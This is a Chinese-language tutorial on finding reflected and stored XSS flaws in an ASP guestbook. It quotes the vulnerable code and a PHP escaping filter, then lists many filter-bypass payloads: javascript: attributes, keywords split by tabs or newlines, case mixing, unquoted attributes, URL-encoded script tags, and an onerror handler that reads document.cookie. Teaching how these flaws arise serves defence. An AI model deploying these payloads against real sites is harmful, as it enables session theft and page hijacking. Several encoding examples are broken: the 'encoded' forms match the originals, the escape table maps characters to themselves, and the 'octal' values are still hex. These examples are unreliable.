(一)发掘反射型XSS
数据交互(即输入/输出)的地方最容易产生跨站脚本,因此我们可以着重对网站的输入框,URL参数进行测试。当然所有来自Cookies,POST表单,HTTP头的内容都可能会产生XSS问题。
通过站内查找功能,在搜索框中输入跨站测试代码XSS’"。
输入的XSS代码中的没有显示出来,这种情况下,测试代码可能被程序过滤,也可能程序接收了但没有显示出来,因为在HTML语言中<>表示HTML标记,不会被浏览器直接显示出来,只有通过查看相应的源文件才能看到。所以我们此时需要看网页源文件,然后搜索XSS关键字。
我们可以看到,输入的内容确实被完整的写入了页面,因此可以证明这个系统没有过滤<>字符。可以输入一个完整
分析这个XSS漏洞产生的原因,找到相关代码文件:seache.asp
<%
Set Page = New TurnPage
keyword=CmdSafeLikeSqlStr(Request.QueryString("keyword"))
sType = Request.QueryString("sType")
If keyword="" Then
Call MessageBox("请输入需要查询的关键词。","")
End If
%>
上述代码中,keyword变了代表输入的查询内容,然后程序使用Request.querystring()直接获取该变量,随后只经过CmdSafeLikeSqlStr()函数的处理。CmdSafeLikeSqlStr()在文件中有定义,找到该文件可以了解它的作用:
strer=replace(strer,"'",""")
strer=replace(strer,"[","[[]")
strer=replace(strer,"%","[%]")
strer=replace(strer,"_","[_]")
OutStr = strer
End Function
以上代码的功能是把查询变量中含有的’[%之类的字符替换成"[[][%][]。但这里忽略了对<>等关键字的过滤,导致用户可任意注入HTML标记来引发XSS。
(二)发掘持久型XSS
通过分析源程序代码,对漏洞成因有了更好的了解,但在发掘XSS方便面,黑盒测试的效果显然比白盒测试效果更好,而结合利用这两种方式的灰盒测试,能大大提高我们发掘XSS的效率。
对这套系统继续测试是否存在其他的跨站漏洞,对留言功能测试是否存在XSS跨站漏洞,其他内容任意输入,在留言内容输入测试代码,如果程序没有对留言功能进行过滤,很可能会产生一个持久型XSS漏洞。
测试代码:<script>alert(/test/)</script>
登陆后台,进行留言查看,发现没有触发输入的XSS代码,查看留言页面源文件。
<textarea name="Content" cols="35" rows="6"
id="Content"> <script>alert(/xss/)</script></textarea>
输入的XSS代码没有被过滤,而且已经成功插入到网页内容中,之所以没有执行代码,是因为XSS代码被嵌套入到标签中,然后直接被浏览器显示出来。
因此,在构造XSS代码时,需要闭合标签,重新修改XSS代码:
</textarea><script>alert(/xss/)</script>
这样管理员在查看留言时,触发了代码,这种XSS场景可利用空间较大。
漏洞产生原因分析:
'接收表单
Private Sub GetFormData()
pID = Cdbl(Request.Form("pID"))
If pID="" Then pID = 0
Title = Trim(Request.Form("Title"))
UserName = Trim(Request.Form("UserName"))
Mail = Trim(Request.Form("Mail"))
Homepage = Trim(Request.Form("Homepage"))
Content = Trim(Request.Form("Content"))
QQ = Trim(Request.Form("QQ"))
TypeID = Trim(Request.Form("TypeID"))
If TypeID="" Then TypeID=1
TableID = Trim(Request.Form("TableID"))
If TableID="" Then TableID=0
AddTime = Now()
Ip = Request.ServerVariables("REMOTE_ADDR")
IsPass = 0
End Sub
上述代码仅用了Request.Form()函数来获取表单数据,包括用户名,邮箱,主页地址,QQ号码,留言内容等信息,使用Trim函数来去除两边空格,直接把留言信息写入数据库中,没有过滤任何有害字符,导致产生一个持久型XSS漏洞。
XSS跨站脚本过滤器
(一)XSS Filter过滤器简介
通常情况下,为了防御跨站脚本攻击,会在WEB应用中设计一个XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。
XSS Filter一般是基于黑白名单的安全过滤策略,即把要处理的数据分成白名单和黑名单两大列表,白名单存放可以信赖,对应用程序不构成威胁的数据列表。黑名单相反,假定某个应用程序使用了基于黑名单形式的过滤策略,那么当用户提交信息时,该系统的XSS Filter会对所有的输入进行检测,如检测到黑名单中的数据便进行拦截,对其进行编码和消除过滤处理。XSS Filter实际上是一段精心编写的过滤函数,下面是一段过滤代码:
function dhtmlspecialchars($string){
if(in_array($string)){
foreach($string as $key =>$val){
}
}else{
$string=preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/','&\\1',
str_replace(array('&','"','<','>'),array('&','"','<','>'),$string));
}
return $string;
}
function dhtmlspecialchars1($string, $flags = null) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val, $flags);
}
} else {
if($flags === null) {
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
if(strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
} else {
if(PHP_VERSION < '5.4.0') {
$string = htmlspecialchars($string, $flags);
} else {
if(strtolower(CHARSET) == 'utf-8') {
$charset = 'UTF-8';
} else {
$charset = 'ISO-8859-1';
}
$string = htmlspecialchars($string, $flags, $charset);
}
}
}
return $string;
}
这段代码的作用是过滤XSS跨站代码,只要程序在处理输入变量的时候使用该函数,就足以过滤常见的跨站脚本。
尽管这段代码设计的很完整详尽,但依然存在被绕过的可能性,因为在实际环境中,要完全确保系统免受XSS攻击是很困难的,开发者必须要考虑各种触发XSS的情况,因此实现起来相当复杂。
下面展示一些绕过XSS Filter的测试用例,透过这些示例相信能更加了解XSS跨站脚本攻击的方法。
(二)利用<>标记注射
利用<>标记注射HTML/JavaScript或vbscript编写的恶意脚本代码。
如:
<script>alert('xss')</script>
因此XSS Filter首先要进行过滤和转义"<>"和"<script>"等字符。
(三)利用HTML标签
假设用户不能构造自己的HTML标记,但是他们可以使用其他形式来执行XSS,例如HTML标签属性值。
很多HTML标签中的属性都支持JavaScript;[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。
所以用户可以利用部分HTML标记的属性值进行XSS,如下代码:
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
<a href="javascript:alert('xss')">xss</a>
<img lowsrc="javascript:alert('xss')">
要防御基于属性值的XSS,就要过滤JavaScript等关键字,并非所有嵌入WEB页面中的脚本都是JavaScript,还有其他的允许值,比如VBscript。
(四)空格回车TAB
如果XSS Filter 仅仅把敏感的输入字符列入黑名单处理,如对敏感字符JavaScript而言,用户可以利用空格,回车和TAB键绕过限制。
例如:<img src="javas cript:alert(/xss/)" width=100>
javas和cript之间的间隔不是空格键,而是用TAB键添加的,用IE6打开,会顺利弹窗。
使用关键字拆分的技巧,用户就能突破过滤器的限制,这种方法不局限在TAB键,还可以使用回车键,空格之类的其他键。
JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换位符,那么就可以省略分号。
var a=test
var b=“xss”
如果同一行中有多个语句,那么每个语句就必须用分号结束。
var a=test;var b=“xss”;
除了在引号中分割单词或强制结束语句之外,额外的空白无论以何种方式添加都无所谓。下面代码中虽然语句有一个换行符,但变量的赋值完全成功。
var a=‘hello world’;
alert(a);
引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,JavaScript会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。
因此,用户可以构造成其他的代码形式绕过系统对JavaScript等关键字的过滤。
<img src="javas
Cript:
alert(/xss/)" width=100>
使用以回车符分割关键字的技巧,成功执行了跨站脚本代码。
(五)对标签属性值转码
对普通的HTML标记的属性值进行过滤,用户还可以通过编码的形式来绕过,因为HTML中属性值本身支持ASCII码形式。
ASCII码即美国信息交互标准代码,是目前计算机最通用的编码标准。因为计算机只能接受数字信息,ASCII码将字符作为数字来表示,以便计算机能够接受和处理,比如大写字母A的ASCII码的十进制是65。
根据HTML的属性值支持ASCII码的特征,把XSS代码:
<img src="javascript:alert('xss');">
替换为:
<img src="javascript:alert(/xss/);">
把:号转换为十进制ASCII编码来执行,也可以成功实现弹窗。
XSS跨站脚本编码转换
(一)XSS进制转换介绍
网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了。这个貌似很彻底,因为一旦<>被转换掉,就会转换成“<script src=1.js></script>”,不能执行,因此,很多人认为只要用户的输入没有构成<>,就不能闭合前后的标签,其语句当然也不会有害,但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS。
(二)常见被转义的XSS字符
”空格“转义之后的字符:” “
“"”转义之后的字符:”"“
“&”转义之后的字符:“&”
“<”转义之后的字符:”<“
“>”转义之后的字符:“>”
在实际环境中,XSS代码被转义了,使用什么方式进行绕过,可以使用进制转换的形式对一些过滤XSS控制不严格的地方进行绕过。
一个正常的XSS输入:
<img src="javascript:alert(1);">
转换大小写:
<iMg sRc="jaVasCipt:alert(1);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(1);'>
不使用引号的XSS:
<img src=javascript:alert(1)>
抛开正常的XSS测试用例,运用以上的任何一种示例都有可能绕过XSS Filter。
(三)ASCII 10进制转换
javascript:alert(“Hello world!”)可以用HTML 10进制ASCII编码代替:
格式:&#(ASCII10进制编码);
javascript:alert("Hello world!")
img标签变为:
<img src='javascript:alert("Hello world!")' />
ASCII 10进制转换,同样适合于HTML标签注入:
例如:
把<script>alert("Hello world");</script>
标签转换成10进制 ASCII转义字符:
<script>alert("Hello world");</script>";
接下来,使用URL编码得到:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E
然后放入到参数中:
http://www.test.com/search.asp?keyword=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E&sType=Title&Submit=%CB%D1%CB%F7
可以构造成其他XSS形式来获取cookie信息。
<img src=x onerror=alert(document.cookie)>
(四)ASCII 16进制转换
格式: &#x(ASCII16进制编码);
<img src="javascript:alert('b')">
与10进制ASCII转义一样,只不过换了一种进制规则来表示。
(五)ASCII 8进制转换
其实16进制还有一种表现形式,与8进制类似
格式:\x(ASCII 16进制编码)
格式:(ASCII 8进制编码)
例如:
<script>alert("Hello world!");</script>
转换为16进制是:
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
八进制是去掉\后的x,数值转换为8进制数值即可。
\3C\73\63\72\69\70\74\3E\61\6C\65\72\74\28\22\48\65\6C\6C\6F\20\77\6F\72\6C\64\21\22\29\3B\3C\2F\73\63\72\69\70\74\3E
同样以构造URL参数,或者HTML属性的形式注入到HTML当中,即可产生XSS漏洞。
(六)加入混淆字符
这样做的目的还是为了绕开程序员代码的过滤, 其中加入一些混淆转义字符,在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如、等字符都可插入到javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方, 当然还包括字母的大小写混合。
例1:<img src="javascript:alert(/a/)"> '
/插入到代码头部
例2:<img src="java scr ipt:alert(/a/)">
'/插入到代码中任意位置
例3:<IMG SRC="jav ascript:alert('XSS')">
'/ 是回车符的16进制形式
例4:<IMG SRC="jav ascript:alert('XSS')">
'/ 是换行符的16进制形式
免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。